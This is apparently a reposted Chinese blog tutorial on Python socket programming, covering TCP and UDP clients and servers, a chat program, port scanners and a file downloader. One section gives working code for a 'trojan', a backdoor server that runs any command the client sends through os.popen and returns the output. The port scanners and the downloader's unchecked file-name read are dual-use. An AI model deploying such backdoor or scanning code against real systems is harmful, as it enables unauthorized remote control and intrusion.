python学习--网络编程

网络编程

套接字!!!! UNIX af_unix(af_inet) TCP UDP
⽹网络通信就是拿到别⼈人的套接字然后给他发信息!!!!!!

简易通信

新建一个项目,包含服务端server.py和客户端client.py。

# -*- coding=utf-8 -*-
#服务端server
import socket

def main():
    s = socket.socket() #导入socket模块
    host = socket.gethostname() #获取自己的ip地址
    port= 12345 #一会用这个端口通信
    s.bind((host,port)) #绑定端口
    s.listen(5)  #等待客户连接,最多5个人
    while True:
        c,addr = s.accept()#建立和客户端的连接
        print("连接地址",addr) #获取客户的ip地址
        c.send("welcome".encode("utf-8"))  #发送信息给客户
        print(c.recv(1024).decode("utf-8"))  #接受客户信息
        c.close()  #关闭通信
    pass

if __name__ == '__main__':
    main()
# -*- coding=utf-8 -*-
#客户端client
import socket


def main():
    s = socket.socket()  # 导入socket模块
    host = socket.gethostname()
    port = 12345
    s.connect((host,port))  #连接服务器
    msg = input("发送信息")
    s.send(msg.encode("utf-8"))  # 发送信息
    print(s.recv(1024).decode("utf-8"))
    s.close()
    pass


if __name__ == '__main__':
    main()

运行两个程序,在client.py中输入"nihao",接着这条信息会发送给服务端,并且服务端会对客户端发送消息"welcome"。

client.py
发送信息nihao
welcome

server
连接地址 (‘IP’, 50638)
nihao

进阶通信(循环)

#服务端代码

# -*- coding: UTF-8 -*-

import socket

def main():
    #af_inet是ipv4,sock_stream是使用tcp通信
    tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    #绑定端口
    tcp_server_socket.bind(("",8999))
    #允许多少人来连接我
    tcp_server_socket.listen(128)
    #循环为多个客户服务多次
    while True:
        #等待客户连接,并且保存客户的socket和ip地址
        new_client_socket,client_addr = tcp_server_socket.accept()
        print("the %s connecting"%(str(client_addr)))
        #给客户发送信息
        new_client_socket.send("welcome".encode("utf-8"))
        #循环为一个客户服务
        while True:
            try:
                #接收客户发来的数据
                recv_data = new_client_socket.recv(1024)
                print(recv_data.decode("utf-8"))
            except:
                print("断开连接")
                break
        #关闭套接字
        new_client_socket.close()
    tcp_server_socket.close()
    pass

if __name__ == '__main__':
    main()
#客户端代码

# -*- coding: UTF-8 -*-

import socket

def main():
    tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server_ip = "IP地址"
    server_port = 8999
    server_add = (server_ip,server_port)
    #连接服务器
    tcp_socket.connect(server_add)
    #接收第一次数据
    first_data = tcp_socket.recv(1024)
    print(first_data.decode("utf-8"))
    while True:
        #发送数据
        send_data = input("send--->")
        tcp_socket.send(send_data.encode("utf-8"))
    tcp_socket.close()
    pass

if __name__ == '__main__':
    main()

一个木马程序

服务端:

# -*- coding: UTF-8 -*-

import socket
import os

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    host = socket.gethostname()
    port = 12345
    s.bind((host,port))
    s.listen(5)

    while True:
        c,addr = s.accept()
        print("连接地址:",addr)
        c.send("welcome".encode("utf-8"))
        while 1:
            try:
            	#解码客户端输过来的信息
                recv_data = c.recv(1024).decode("utf-8")
                print(recv_data)
                #如果输过来的信息是"cmd",则进入木马操作循环
                 #接下来的信息都视为系统指令
                if recv_data == 'cmd':
                    while True:
                    	#"向客户端发送ok cmd start"来确认进入木马操作
                        c.send("ok cmd start".encode("utf-8"))
                        #接受客户端发出的指令
                        data = c.recv(1024)
                        #解码
                        recv_data2 = data.decode("utf-8")
                       #如果指令为"exit"则退出木马循环,返回普通通信循环
                        if recv_data2 == 'exit':
                            c.send("cmd stop".encode("utf-8"))
                            break
                        else:
                       #将输过来的指令当作系统指令执行,结果发送给客户端
                            x = os.popen(recv_data2).read()
                            c.send(x.encode("utf-8"))
                else:
                    #命令不是"cmd"就将接收到的信息发回给客户端
                    c.send(recv_data.encode("utf-8"))
            except:
                print("断开连接")
                break
        c.close()
    s.close()
    pass

if __name__ == '__main__':
    main()
# -*- coding: UTF-8 -*-

import socket

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    host = '10.211.55.3'
    port = 12345
    s.connect((host,port))

    while 1:
        data_recv = s.recv(1024)
        print(data_recv.decode("utf-8"))
        msg = input("send msg:")
        s.send(msg.encode("utf-8"))
    s.close()
    pass

if __name__ == '__main__':
    main()

支持命令的端口扫描器

# -*- coding: UTF-8 -*-

#支持命令的端口扫描器
import socket,sys

#判断端口是否开放
def open(ip,port):
    s = socket.socket()
    try:
        s.connect((ip,port))
        return True
    except:
        return False
    pass

#默认扫描函数
def scan(ip,port):
    for x in port:
        if open(ip,x):
            print("%s host %s port open"%(ip,x))
        else:
            print("%s host %s port close" % (ip, x))
    pass

#范围扫描
def rscan(ip,s,e):
    for x in range(s,e):
        if open(ip,x):
            print("%s host %s port open"%(ip,x))
        else:
            print("%s host %s port close" % (ip, x))
    pass

def main():
    defaultport = [135, 139, 445, 1433, 3306, 3389, 5944]
    str = sys.argv[1]
    if str[0] == '-': #如果参数以--开头
        option = sys.argv[1][2:] #看一下之后的参数
        if option =='version':
            print("版本号1.0")
        elif option=='help':
            print("python xx.py [ip地址] [端口:80,99或者80-99]")
        sys.exit()

    if len(sys.argv)==2: #默认扫描无参数
        scan(sys.argv[1],defaultport)
    elif len(sys.argv)==3:
        if ',' in sys.argv[2]: #xx.py ip 80,21,89
            p = sys.argv[2]
            p = p.split(',')
            a = []
            for x in p:
                a.append(int(x))
            defaultport = a
            scan(sys.argv[1],defaultport)
        elif '-' in sys.argv[2]: #xx.py ip 80-99
            a = sys.argv[2]
            a = a.split('-')
            s = int(a[0])
            e = int(a[1])
            rscan(sys.argv[1],s,e)
    pass

if __name__ == '__main__':
    main()

端口扫描器2.0

# -*- coding: UTF-8 -*-

#支持命令的端口扫描器
import socket,sys
from optparse import OptionParser

#判断端口是否开放
def open(ip,port):
    s = socket.socket()
    try:
        s.connect((ip,port))
        return True
    except:
        return False
    pass

#默认扫描函数
def scan(ip,port):
    for x in port:
        if open(ip,x):
            print("%s host %s port open"%(ip,x))
        else:
            print("%s host %s port close" % (ip, x))
    pass

#范围扫描
def rscan(ip,s,e):
    for x in range(s,e):
        if open(ip,x):
            print("%s host %s port open"%(ip,x))
        else:
            print("%s host %s port close" % (ip, x))
    pass

def main():
    usage = "usage:xxx.py -i ip地址 -p 端口"
    parse =OptionParser(usage=usage)
    parse.add_option("-i","--ip",type="string",dest="ipaddress",help="your target ip here")
    parse.add_option("-p","--port",type="string",dest="port",help="your target port here")
    (option,args)=parse.parse_args() #获取选项和参数进行赋值
    ip = option.ipaddress
    port = option.port

    defaultport = [135, 139, 445, 1433, 3306, 3389, 5944]

    if ',' in port: #xx.py ip 80,21,89
        port = port.split(',')
        a = []
        for x in port:
             a.append(int(x))
        defaultport = a
        scan(ip,defaultport)
    elif '-' in port: #xx.py ip 80-99
        port = port.split('-')
        s = int(port[0])
        e = int(port[1])
        rscan(ip,s,e)
    elif 'all' in port:
        rscan(ip,1,65535)
    elif 'default' in port:
        scan(ip,defaultport)
    pass

if __name__ == '__main__':
    main()

UDP通信

服务端

# -*- coding: UTF-8 -*-

import socket

def main():
    #初始化套接字,使用ipv4的udp通信
    s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    s.bind(('',6000))
    while True:
        data,addr = s.recvfrom(1024)
        print("connect by:",addr)
        print("recv data:",data.decode("utf-8"))
        s.sendto(data,addr)
    s.close()
    pass

if __name__ == '__main__':
    main()

客户端

# -*- coding: UTF-8 -*-

import socket

def main():
    c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    while True:
        text = input("---->")
        c.sendto(text.encode("utf-8"),("10.211.55.3",6000))
        if text == 'exit':
            break
        ans = c.recvfrom(1024)
        print(ans[0].decode("utf-8"))
    c.close()
    pass

if __name__ == '__main__':
    main()

UDP聊天室

# -*- coding: UTF-8 -*-

import socket

def send_msg(udp_socket):
    #获取发送内容
    dest_ip = input("请输入对方的ip:")
    dest_port = int(input("请输入对方的port:"))
    send_data = input("你想说啥:")
    udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))
    pass

def recv_msg(udp_socket):
    recv_data = udp_socket.recvfrom(1024)
    print("%s : %s "%(str(recv_data[1]),recv_data[0].decode("utf-8")))
    pass

def main():
    #创建udp套接字
    udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    #绑定信息
    udp_socket.bind(("",7788))
    while True:
        send_msg(udp_socket)
        recv_msg(udp_socket)
    pass

if __name__ == '__main__':
    main()

下载器

服务端

# -*- coding: UTF-8 -*-

import socket

def send_file_2_client(new_client_socket,client_addr):
    #客户端要下载的文件名
    file_name = new_client_socket.recv(1024).decode("utf-8")
    print("客户端%s 需要下载%s"%(str(client_addr),file_name))
    #按照客户要求读取文件
    file_content = None
    try:
        f = open(file_name,"rb")
        file_content = f.read()
        f.close()
    except:
        print("没有要下载的文件%s"%(file_name))
    #如果有数据就发给客户
    if file_content:
        new_client_socket.send(file_content)
    pass

def main():
    tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_server_socket.bind(("",7788))
    tcp_server_socket.listen(100)
    while True:
        new_client_socket,client_addr = tcp_server_socket.accept()
        #调用发送文件的函数
        send_file_2_client(new_client_socket,client_addr)
        new_client_socket.close()
    tcp_server_socket.close()
    pass

if __name__ == '__main__':
    main()

客户端

# -*- coding: UTF-8 -*-

import socket

def main():
    tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    dest_ip = input("从哪个服务器下载:")
    dest_port = int(input("输入下载器的端口:"))
    tcp_socket.connect((dest_ip,dest_port))

    download_file_name = input("请输入要下载的文件名:")
    #把文件名发给服务器
    tcp_socket.send(download_file_name.encode("utf-8"))
    #接收下载的文件,1M
    recv_data = tcp_socket.recv(1024*1024)
    #保存数据到文件中
    with open("new_"+download_file_name,"wb")as f:
        f.write(recv_data)
    tcp_socket.close()
    pass

if __name__ == '__main__':
    main()
发布了21 篇原创文章 · 获赞 3 · 访问量 981

猜你喜欢

转载自blog.csdn.net/weixin_46097280/article/details/103976570
今日推荐